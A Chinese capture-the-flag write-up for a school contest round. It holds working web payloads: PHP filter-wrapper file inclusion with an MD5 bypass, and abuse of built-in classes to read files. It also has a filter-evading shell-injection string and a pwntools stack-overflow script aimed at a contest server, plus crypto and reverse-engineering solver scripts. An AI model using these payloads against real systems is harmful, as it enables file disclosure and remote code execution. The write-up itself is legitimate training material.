第三届鲲鹏杯初赛(校赛)

阳光摆烂大男孩

Solves


个人情况(右上角PROFILE,所有队员均要贴出):

@hey

@wulala

@抓到一只梗

WEB

ezssrf@hey

代码审计

1
2
3
4
 <?php 
highlight_file(__FILE__);
include($_POST["file"]);
//flag in flag.php;

此时使用了危险函数include();此时可以联想到文件包含,使用filter伪协议进行读取

1
php://filter/read=convert.base64-encode/resource=flag.php

此时回显为waf!,此时我们可以知道题目对我们的输入做了过滤,将flag加入了黑名单;此时怀疑存在文件敏感信息泄露;又因为不需要使用到扫描器
此时我们可以读取比较常见的文件比如index.php

代码审计2

1
2
3
4
5
6
7
8
9
10
<?php

$path = $_POST["file"];
$secret = $_POST["secret"];
if (preg_match('/flag/', $path) && $secret != md5($secret)) {
echo 'waf!';
} else {
@include($path);
}
?>

此时我们知道了其过滤规则,在检测到$path中含有flag且$secret是不等于$secret的MD5散列值时便会输出waf!;那么此时我们可以构造$secret等于
$secret的MD5散列值来绕过这个过滤;此时的考点变为MD5的绕过

payload

1
file=php://filter/convert.base64-encode/resource=flag.php&secret=0e215962017

ezser@hey

代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
error_reporting(0);

class Flag
{
/**
* flag is here
*/
function read(){
return 1234;
}
}

$a = $_GET["a"];
$b = $_GET["b"];
$c = $_GET["c"];
$d = $_GET["d"];
$met = new $a($b, $c);
var_dump($met->$d());

此时一般看到echo new $a($b)这种形式,就需要考虑利用php的原生类来遍历目录以及读取文件;但是此时存在双参数new $a($b, $c)并且类中存在注释时我们就要知道此时的考点在于通过php的原生类的反射类获取注释内容;此时我们观察源码可知flag在注释里但并不会被显示出来,但是我们可以利用通过反射 ReflectionMethod 类来获取类方法的相关信息;此时我们需要调取的是Flag类中的方法

ReflectionClass API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
$ref = new ReflectionClass(B::class);

//print_r(ReflectionClass::export(demo::class));
print_r($ref->getProperties()); // 获取一级属性, 可以传参数过滤, 返回ReflectionProperty 对象的数组。
var_dump($ref->getConstructor()); // 获取构造函数, 未定义返回null
var_dump($ref->inNamespace()); // 是否在命名空间中
var_dump($ref->getConstants()); // 获取所有定义的常量
var_dump($ref->getConstant('TEST_1')); // 获取某个常量
print_r($ref->getDefaultProperties()); // 获取默认属性, 返回数组, 包括父类的属性
var_dump($ref->getDocComment()); // 获取类文档注释, 不包含属性和方法的注释, 无注释返回false
var_dump($ref->getExtension()); // 获取获取最后一行的行数
var_dump($ref->getFileName()); // 获取定义类的文件名, 返回绝对路径
var_dump($ref->getInterfaceNames()); // 获取接口名称, 返回索引数组,值为接口名称, 未实现接口返回空数组
var_dump($ref->getInterfaces()); // 获取接口, 返回关联数组, name=>ReflectionClass实例, 未实现接口返回空数组
var_dump($ref->getMethods()); // 指获取类方法 ReflectionMethod。
var_dump($ref->getMethod('foo4')); // 获取一个类方法的 ReflectionMethod。如果方法不存在会抛出异常, 需要配合try catch一起用
var_dump($ref->getName()); // 获取类名, 包含命名空间
var_dump($ref->getNamespaceName()); // 获取命名空间的名称, 没有返回空
var_dump($ref->getParentClass()); // 获取父类reflectionClass的实例, 没有父类返回false
var_dump($ref->getProperty('prop3')); // 获取一个属性, 返回ReflectionProperty实例, 属性不存在会抛出异常, 需配合try catch使用
var_dump($ref->getShortName()); // 获取类名, 不包含命名空间
var_dump($ref->getStartLine()); // 获取起始行号
print_r($ref->getStaticProperties()); // 获取静态属性
print_r($ref->getStaticPropertyValue('prop_static')); // 获取静态属性值, 未定义的属性会报致命错误
print_r($ref->getTraitAliases()); // 返回 trait 别名的一个数组
print_r($ref->getTraitNames()); // 返回 trait 别名的一个数组
print_r($ref->getTraits()); // 返回这个类所使用的 traits 数组
var_dump($ref->hasConstant('AB')); // 检查常量是否已经定义
var_dump($ref->hasMethod('AB')); // 检查方法是否已经定义
var_dump($ref->hasProperty('AB')); // 检查属性是否已定义
var_dump($ref->implementsInterface('reflection\Abc')); // 检查是否实现了某个接口, 注意需要带上命名空间
var_dump($ref->isAbstract()); // 检查类是否是抽象类(abstract)
var_dump($ref->isAnonymous()); // 检查类是否是匿名类
var_dump($ref->isCloneable()); // 返回了一个类是否可复制
var_dump($ref->isFinal()); // 检查类是否声明为 final
var_dump($ref->isInstance($obj)); // 检查一个变量是否此类的实例
var_dump($ref->isInstantiable()); // 检查类是否可实例化
var_dump($ref->isInterface()); // 检查类是否是一个接口(interface)
var_dump($ref->isInternal()); // 检查类是否由扩展或核心在内部定义, 和isUserDefined相对
var_dump($ref->isIterateable()); // 检查此类是否可迭代, 实现了Iterator接口即可迭代
var_dump($ref->isSubclassOf(A::class)); // 是否是某一个类的子类
var_dump($ref->isTrait()); // 返回了是否为一个 trait
var_dump($ref->isUserDefined()); // 检查是否由用户定义的类 和isInternal相对

// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。
// 接受可变数目的参数,用于传递到类的构造函数,和 call_user_func() 很相似。
var_dump($ref->newInstance());
// 从指定的参数创建一个新的类实例,创建类的新的实例。给出的参数将会传递到类的构造函数。
//这个参数以 array 形式传递到类的构造函数。
var_dump($ref->newInstanceArgs([]));
var_dump($ref->newInstanceWithoutConstructor()); // 创建一个新的实例而不调用他的构造函数
$ref->setStaticPropertyValue ('prop_static', '222'); // 设置静态属性的值, 无返回值
var_dump($ref->__toString ()); // 返回 ReflectionClass 对象字符串的表示形式.

ReflectionMethod API

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
ReflectionMethod::__construct — ReflectionMethod 的构造函数
ReflectionMethod::export — 输出一个回调方法
ReflectionMethod::getClosure — 返回一个动态建立的方法调用接口,译者注:可以使用这个返回值直接调用非公开方法。
ReflectionMethod::getDeclaringClass — 获取被反射的方法所在类的反射实例
ReflectionMethod::getModifiers — 获取方法的修饰符
ReflectionMethod::getPrototype — 返回方法原型 (如果存在)
ReflectionMethod::invoke — Invoke
ReflectionMethod::invokeArgs — 带参数执行
ReflectionMethod::isAbstract — 判断方法是否是抽象方法
ReflectionMethod::isConstructor — 判断方法是否是构造方法
ReflectionMethod::isDestructor — 判断方法是否是析构方法
ReflectionMethod::isFinal — 判断方法是否定义 final
ReflectionMethod::isPrivate — 判断方法是否是私有方法
ReflectionMethod::isProtected — 判断方法是否是保护方法 (protected)
ReflectionMethod::isPublic — 判断方法是否是公开方法
ReflectionMethod::isStatic — 判断方法是否是静态方法
ReflectionMethod::setAccessible — 设置方法是否访问
ReflectionMethod::__toString — 返回反射方法对象的字符串表达
*/
ReflectionMethod extends ReflectionFunctionAbstract implements Reflector {
/* 常量 */
const integer IS_STATIC = 1 ;
const integer IS_PUBLIC = 256 ;
const integer IS_PROTECTED = 512 ;
const integer IS_PRIVATE = 1024 ;
const integer IS_ABSTRACT = 2 ;
const integer IS_FINAL = 4 ;
/* 属性 */
public $name ;
public $class ;
/* 方法 */
public __construct ( mixed $class , string $name )
public static export ( string $class , string $name [, bool $return = false ] ) : string
public getClosure ( object $object ) : Closure
public getDeclaringClass ( ) : ReflectionClass
public getModifiers ( ) : int
public getPrototype ( ) : ReflectionMethod
public invoke ( object $object [, mixed $parameter [, mixed $... ]] ) : mixed
public invokeArgs ( object $object , array $args ) : mixed
public isAbstract ( ) : bool
public isConstructor ( ) : bool
public isDestructor ( ) : bool
public isFinal ( ) : bool
public isPrivate ( ) : bool
public isProtected ( ) : bool
public isPublic ( ) : bool
public isStatic ( ) : bool
public setAccessible ( bool $accessible ) : void
public __toString ( ) : string
/* 继承的方法 */
final private ReflectionFunctionAbstract::__clone ( ) : void
public ReflectionFunctionAbstract::getClosureScopeClass ( ) : ReflectionClass
public ReflectionFunctionAbstract::getClosureThis ( ) : object
public ReflectionFunctionAbstract::getDocComment ( ) : string
public ReflectionFunctionAbstract::getEndLine ( ) : int
public ReflectionFunctionAbstract::getExtension ( ) : ReflectionExtension
public ReflectionFunctionAbstract::getExtensionName ( ) : string
public ReflectionFunctionAbstract::getFileName ( ) : string
public ReflectionFunctionAbstract::getName ( ) : string
public ReflectionFunctionAbstract::getNamespaceName ( ) : string
public ReflectionFunctionAbstract::getNumberOfParameters ( ) : int
public ReflectionFunctionAbstract::getNumberOfRequiredParameters ( ) : int
public ReflectionFunctionAbstract::getParameters ( ) : array
public ReflectionFunctionAbstract::getReturnType ( ) : ReflectionType
public ReflectionFunctionAbstract::getShortName ( ) : string
public ReflectionFunctionAbstract::getStartLine ( ) : int
public ReflectionFunctionAbstract::getStaticVariables ( ) : array
public ReflectionFunctionAbstract::hasReturnType ( ) : bool
public ReflectionFunctionAbstract::inNamespace ( ) : bool
public ReflectionFunctionAbstract::isClosure ( ) : bool
public ReflectionFunctionAbstract::isDeprecated ( ) : bool
public ReflectionFunctionAbstract::isGenerator ( ) : bool
public ReflectionFunctionAbstract::isInternal ( ) : bool
public ReflectionFunctionAbstract::isUserDefined ( ) : bool
public ReflectionFunctionAbstract::isVariadic ( ) : bool
public ReflectionFunctionAbstract::returnsReference ( ) : bool
abstract public ReflectionFunctionAbstract::__toString ( ) : void
}

分析题目,猜测flag是藏在类的注释中,我们能够实例化任意类,并调用类方法,那么就可以利用PHP内置类中的ReflectionMethod来读取Flag类里面各个函数的注释;本题考察的是 PHP反射,ReflectionMethod构造Flag类中的函数方法,再通过getDocComment获取函数的注释。综上所述,此时我们就可以构造一个反射对象来打印所有类的注释来得到flag

payload

1
?a=ReflectionMethod&b=Flag&c=read&d=getDocComment

此时这个payload就相当于(reflectionMethod(Flag,read) ->getDocConmment())
参考文章:
https://ethe448.github.io/2022/02/25/%E4%BB%8E%E4%B8%80%E9%81%93ctf%E9%A2%98%E7%9C%8Bphp%E5%8E%9F%E7%94%9F%E7%B1%BB/#toc-heading-4

解法二

此时我们知道SplFileObject类也可以读取文件,此时我们来关注一下他的用法

SplFileObject类摘要

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
class SplFileObject extends SplFileInfo implements RecursiveIterator, SeekableIterator {
/* 常量 */
public const int DROP_NEW_LINE;
public const int READ_AHEAD;
public const int SKIP_EMPTY;
public const int READ_CSV;
/* 方法 */
public __construct(
string $filename,
string $mode = "r",
bool $useIncludePath = false,
?resource $context = null
)
public current(): string|array|false
public eof(): bool
public fflush(): bool
public fgetc(): string|false
public fgetcsv(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): array|false
public fgets(): string
public fgetss(string $allowable_tags = ?): string
public flock(int $operation, int &$wouldBlock = null): bool
public fpassthru(): int
public fputcsv(
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false
public fread(int $length): string|false
public fscanf(string $format, mixed &...$vars): array|int|null
public fseek(int $offset, int $whence = SEEK_SET): int
public fstat(): array
public ftell(): int|false
public ftruncate(int $size): bool
public fwrite(string $data, int $length = 0): int|false
public getChildren(): null
public getCsvControl(): array
public getFlags(): int
public getMaxLineLen(): int
public hasChildren(): false
public key(): int
public next(): void
public rewind(): void
public seek(int $line): void
public setCsvControl(string $separator = ",", string $enclosure = "\"", string $escape = "\\"): void
public setFlags(int $flags): void
public setMaxLineLen(int $maxLength): void
public __toString(): string
public valid(): bool
/* 继承的方法 */
public SplFileInfo::getATime(): int|false
public SplFileInfo::getBasename(string $suffix = ""): string
public SplFileInfo::getCTime(): int|false
public SplFileInfo::getExtension(): string
public SplFileInfo::getFileInfo(?string $class = null): SplFileInfo
public SplFileInfo::getFilename(): string
public SplFileInfo::getGroup(): int|false
public SplFileInfo::getInode(): int|false
public SplFileInfo::getLinkTarget(): string|false
public SplFileInfo::getMTime(): int|false
public SplFileInfo::getOwner(): int|false
public SplFileInfo::getPath(): string
public SplFileInfo::getPathInfo(?string $class = null): ?SplFileInfo
public SplFileInfo::getPathname(): string
public SplFileInfo::getPerms(): int|false
public SplFileInfo::getRealPath(): string|false
public SplFileInfo::getSize(): int|false
public SplFileInfo::getType(): string|false
public SplFileInfo::isDir(): bool
public SplFileInfo::isExecutable(): bool
public SplFileInfo::isFile(): bool
public SplFileInfo::isLink(): bool
public SplFileInfo::isReadable(): bool
public SplFileInfo::isWritable(): bool
public SplFileInfo::openFile(string $mode = "r", bool $useIncludePath = false, ?resource $context = null): SplFileObject
public SplFileInfo::setFileClass(string $class = SplFileObject::class): void
public SplFileInfo::setInfoClass(string $class = SplFileInfo::class): void
public SplFileInfo::__toString(): string
}

SplFileObject目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
SplFileObject::__construct — Construct a new file object
SplFileObject::current — Retrieve current line of file
SplFileObject::eof — Reached end of file
SplFileObject::fflush — Flushes the output to the file
SplFileObject::fgetc — Gets character from file
SplFileObject::fgetcsv — Gets line from file and parse as CSV fields
SplFileObject::fgets — Gets line from file
SplFileObject::fgetss — Gets line from file and strip HTML tags
SplFileObject::flock — Portable file locking
SplFileObject::fpassthru — Output all remaining data on a file pointer
SplFileObject::fputcsv — Write a field array as a CSV line
SplFileObject::fread — Read from file
SplFileObject::fscanf — Parses input from file according to a format
SplFileObject::fseek — Seek to a position
SplFileObject::fstat — Gets information about the file
SplFileObject::ftell — Return current file position
SplFileObject::ftruncate — Truncates the file to a given length
SplFileObject::fwrite — Write to file
SplFileObject::getChildren — No purpose
SplFileObject::getCsvControl — Get the delimiter, enclosure and escape character for CSV
SplFileObject::getCurrentLine — 别名 SplFileObject::fgets
SplFileObject::getFlags — Gets flags for the SplFileObject
SplFileObject::getMaxLineLen — Get maximum line length
SplFileObject::hasChildrenSplFileObject does not have children
SplFileObject::key — Get line number
SplFileObject::next — Read next line
SplFileObject::rewind — Rewind the file to the first line
SplFileObject::seek — Seek to specified line
SplFileObject::setCsvControl — Set the delimiter, enclosure and escape character for CSV
SplFileObject::setFlags — Sets flags for the SplFileObject
SplFileObject::setMaxLineLen — Set maximum line length
SplFileObject::__toString — Returns the current line as a string
SplFileObject::valid — Not at EOF

此时我们发现fpassthru可以利用,它可以输出文件指针处的所有剩余数据;所有此时我们可以利用这个特性来读取注释

payload

1
?a=SplFileObject&b=index.php&c=r&d=fpassthru

PWN

rebot@wulala

拿到附件,先查保护,保护全开。

一般保护全开的题只有两种,一种是堆题,一种就是nc gift。
ida打开附件,用c++写的源码,大概意思就是输入一个字符串,rebot会把你输入的字符串输出并且加一个’!’。
在botspace::Rebot::send里有一个botspace::system这个函数里有system函数,所以正常的话只需要输入\bin\sh就能拿到shell。
但是botspace::system,里面包含了对输入字符串的限制条件。

第一个限制条件是输入字符串与地址&unk_3004比较,地址内容为sh,所以输入的字符串不能含有sh。
第二个限制是echo,这个指令会把字符串输出,所以要考虑绕过这个函数。
payload=$($0) #/bin/sh可以用$0来表示,这样可以绕过第一个限制,但是如果直接输入这个,echo函数会将$0打印在屏幕,所以再套一个$($0),从而得到一个system(“$0”)。

cat flag没有反应是因为字符串后面有一个’!’,手动exit。

1437@wulala

拿到附件,先查保护。只开了NX。

ida打开附件,定义了一个v6数组来储存题意描述的’植物’,第一个for循环把数组内的内容全部换成空格。(相当于pvz中的草地?)
漏洞点在第二个for循环,循环内对i和j的数值只限制了不能为负数(否则跳出循环),并没有限制i和j的大小,所以可以通过调整i和j的大小使数组v6溢出。

但是这题并不像以往栈溢出的题目,漏洞函数是gets之类(指输入的为%s字符串)的危险函数,只能输入%c单个字符,所以需要将payload一个字符一个字符逐个输入。
有/bin/sh,有system,无栈保护,因此直接通过栈溢出来跳转到这个地址。

payload仿写的这条payload=b'a'*16+p64(0)+p64(0x4040A0)
这题的payload因为是可以任意位置输入字符,所以可以直接在数组溢出位置8字节后直接输入跳转的地址位置。
p64(0x40128A)为\x8a\x12@\x00\x00\x00\x00\x00
写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *
elf = ELF('./1437')
context(arch = 'amd64', os = 'linux')
#io=process('./1437')
io=remote('120.48.73.202',10002)
io.sendline('8 0')
io.send('\x8a')
io.sendline('8 1')
io.send('\x12')
io.sendline('8 2')
io.send('\x40')#也可以换成('@'),\x40为@的二进制码
io.sendline('8 3')
io.send('\x00')
io.sendline('8 4')
io.send('\x00')
io.sendline('8 5')
io.send('\x00')
io.sendline('8 6')
io.send('\x00')
io.sendline('8 7')
io.send('\x00')
io.send('-1')#此过程利用i和j为负数时break,从而跳出循环。
io.send('-1')
io.send('-1')
io.interactive()

Crypto

classical@hey

1
4yc2guKbQyaTe7HaAZWzSD7V3grmuf1cvGrzfDhErgkeXENS9WG61sgwN26cRwvdEwH93aU5F1vQQ6j7JvjTMWka9orBaCeU2QwLmeMrJj2s6F9853AJ3mbc3cq4qpLDBh7hQP1Pa6m54xjrB7b3rZXzndmFZHybQWt9U84ueRz5GfxxyqTu7oSjujD9559Mzqa6WRg1mzsQpMCo4S468pn7NBtr5kmGSDykwgy6jhtRL2GH2JwzZgN5UDxvHkARsvTu9eNdfTnEkid4Tjf1XEeZ1xiVMNbQNfKnJfFgfb1HWKFswdCkLZvt

直接一键解码得到另外一个音符密码

直接找网站解密即可

ezRSA@抓到一只梗

利用工具求出公钥,私钥。
解密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import gmpy2
import libnum
q=302825536744096741518546212761194311477
p=325045504186436346209877301320131277983
n=98432079271513130981267919056149161631892822707167177858831841699521774310891
c1=5077560311513279671817430508125151837396585328082180175253360345086848717946
c2=70099856477856647119324475779448956753505959373194081911451122574748717928011
c3=6793000449683458761243147198477390385097096925500467689087326832717298959098
e=65537
n=p*q
phi=(p-1)*(q-1)
d=libnum.invmod(e,phi)
m1=pow(c1,d,n)
m2=pow(c2,d,n)
m3=pow(c3,d,n)
print(libnum.n2s(int(m1)))
print(libnum.n2s(int(m2)))
print(libnum.n2s(int(m3)))

REVERSE

两题都是异或,直接找目标数组写脚本。

ezRE@wulala

目标数组v9

由于是ida自动转化数组,把dd转成db的过程产生了一些无用字符手动抠掉就行。

找规律,每4字节,抠掉3字节(中文占2字节)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
int main()
{
unsigned char i123[] = {
0xC7, 0x45, 0xD4, 0xD0, 0xDA, 0xD7, 0xD1, 0xC7, 0x45, 0xD8,
0xCD, 0xC7, 0x81, 0xD9, 0xC7, 0x45, 0xDC, 0x8E, 0xDA, 0x85,
0xCE, 0xC7, 0x45, 0xE0, 0xDD, 0xD7, 0x80, 0xC2, 0xC7, 0x45,
0xE4, 0x80, 0x80, 0xD9, 0xDE, 0xC7, 0x45, 0xE8, 0x81, 0xD4,
0x8E, 0xD5, 0xC7, 0x45, 0xEC, 0x82, 0xD5, 0xD7, 0xD2, 0xC7,
0x45, 0xF0, 0x85, 0xC6, 0x87, 0x87, 0xC7, 0x45, 0xF4, 0x81,
0x82, 0x81, 0xD3, 0x66, 0xC7, 0x45, 0xF8, 0x83, 0xCB
};
int i;
for (i = 0; i < 69; i++)
{
i123[i] ^= 0xb6;
printf("%c", i123[i]);
}
}

REez@wulala

相比第一题更简单了,少了字节转换的过程
目标数组在这个函数里面。

把0,全抠掉。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#include<stdio.h>
int main()
{
unsigned char i123[] = {
102,109,99,100,127,
51,50,101,110,109,
50, 59, 60,32,59,
61,36, 36,63, 39,
32,35, 35,58,122,
32,126,126,49,46,
44,122,25,67,65,
17,18,16,17,22,
78,84
};
int i;
for (i = 0; i < 42; i++)
{
i123[i] ^= i;
printf("%c", i123[i]);
}
}

Misc

ezpatch@hey

查壳

无壳

IDA分析

此时可知当dword_40E880 == dword_40E888便会输出flag.png

CE调试

此时贪吃蛇的长度为三,所以我们输入数值三进行扫描;让贪吃蛇吃掉一个果子之后就可以找出结果

接下来将结果放入地址栏并改变数值为640即可获得flag

ezfile@抓到一只梗

解压得到一个未知后缀名的文件,拖入winhex查看发现是,4B 44 4D 56 [KDMV],查看发现是vmdk后缀文件。拖入虚拟机,利用指令,binwalk -e file(1),得到一张图片名为c的jpg图片。查看文件属性,发现备注为颜文字加密,在线网站解密即可。